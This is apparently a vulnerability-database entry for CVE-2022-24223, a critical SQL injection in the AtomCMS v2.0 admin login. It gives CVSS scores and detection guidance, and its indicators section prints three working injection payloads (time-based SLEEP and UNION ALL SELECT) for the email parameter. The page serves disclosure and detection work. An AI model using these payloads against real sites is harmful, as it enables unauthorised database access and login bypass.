CVE-2022-24223

published 2022-02-01

CVE-2022-24223: AtomCMS v2.0 was discovered to contain a SQL injection vulnerability via /admin/login.php.

Priority P2 71 critical 9.8 CVSS 3.1

AV N AC L PR N UI N S U C H I H A H

EXPLOIT

AtomCMS v2.0 was discovered to contain a SQL injection vulnerability via /admin/login.php.

Affected

1 ranges

Vendor	Product	Version range	Fixed in
thedigitalcraft	atomcms	—	—

Detection & IOCs extracted from sources · hover to see the quote

path /admin/login.php↗

command email={{randstr}}@gmail.com'+AND+(SELECT+2549+FROM+(SELECT(SLEEP(6)))LIzI)+AND+'uqzM'='uqzM&password={{randstr}}↗

command [email protected]' AND (SELECT 5613 FROM (SELECT(SLEEP(5)))JnLZ) AND 'pROE'='pROE&password=1234↗

command [email protected]' UNION ALL SELECT NULL,CONCAT(0x717a767a71,0x65557a784e446152424b63724b5a737062464a4267746c70794d5976484c484a5365634158734975,0x71627a7871),NULL,NULL,NULL,NULL-- -&password=1234↗

url http://127.0.0.1/Atom.CMS/admin/login.php↗

• → Detect time-based blind SQLi attempts against /admin/login.php via POST email parameter containing SLEEP() payloads. A response duration >= 5-6 seconds with HTTP 200 is indicative of successful injection. ↗
• → Detect UNION-based SQLi attempts against /admin/login.php via POST email parameter containing UNION ALL SELECT with hex-encoded strings (e.g. 0x717a767a71). ↗
• → Match response body containing both 'Admin Login' and 'Atom.SaveOnBlur' to confirm the target is AtomCMS v2.0 login page, as used in the nuclei template matcher. ↗
• → The vulnerable parameter is 'email' in a POST request to /admin/login.php; the injection vector is AND/UNION appended after a single-quote terminating the email value. ↗

• · The PoC PHPSESSID cookie value is from a local test environment and is not a meaningful production indicator; session IDs will differ per target. ↗
• · The UNION-based payload assumes exactly 6 columns in the underlying query; this may vary if the AtomCMS schema differs from the tested v2.0 instance. ↗

CVSS provenance

nvd v3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

nvd v2.0 7.5 HIGH AV:N/AC:L/Au:N/C:P/I:P/A:P

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-89